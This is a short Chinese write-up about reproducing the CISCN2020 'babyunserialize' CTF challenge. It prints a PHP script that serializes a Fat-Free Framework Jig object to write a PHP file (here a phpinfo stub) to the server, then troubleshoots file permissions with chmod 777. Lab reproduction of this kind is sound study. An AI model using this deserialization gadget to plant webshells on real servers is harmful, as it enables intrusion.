如图所示,在复现【CISCN2020】babyunserialize题目时发现出现此问题,该题目基本思路为通过PHP反序列化写入shell
在环境搭建时,直接将从题目中下载的源码放到服务器上,在利用此payload时出现该问题,此处payload参照https://www.gem-love.com/ctf/2569.html
<?php
namespace DB;
class Jig {
const
FORMAT_JSON=0,
FORMAT_Serialized=1;
protected
//! Storage location
$dir = '/phpstudy/www/fatfree',
//! Current storage format
$format = self::FORMAT_JSON,
//! Jig log
$data = array("y1ng.php"=>array("a"=>"<?php phpinfo();?>")),
//! lazy load/save files
$lazy = 1;
}
$jig = new Jig();
echo urlencode(serialize($jig));
修改文件权限
修改后再次尝试,发现还是不行,于是查看源码,找到这里的file_put_contents()
是在哪里被调用的
随后依次对两个文件
chmod 777
但发现还是提示权限不足,于是想到对该文件夹(该文件夹下为具体代码)赋予权限
然后payload即可成功使用,发现只需要给
fatfree
赋予权限即可,也不需对上面两个文件base.php web.php
单独赋权限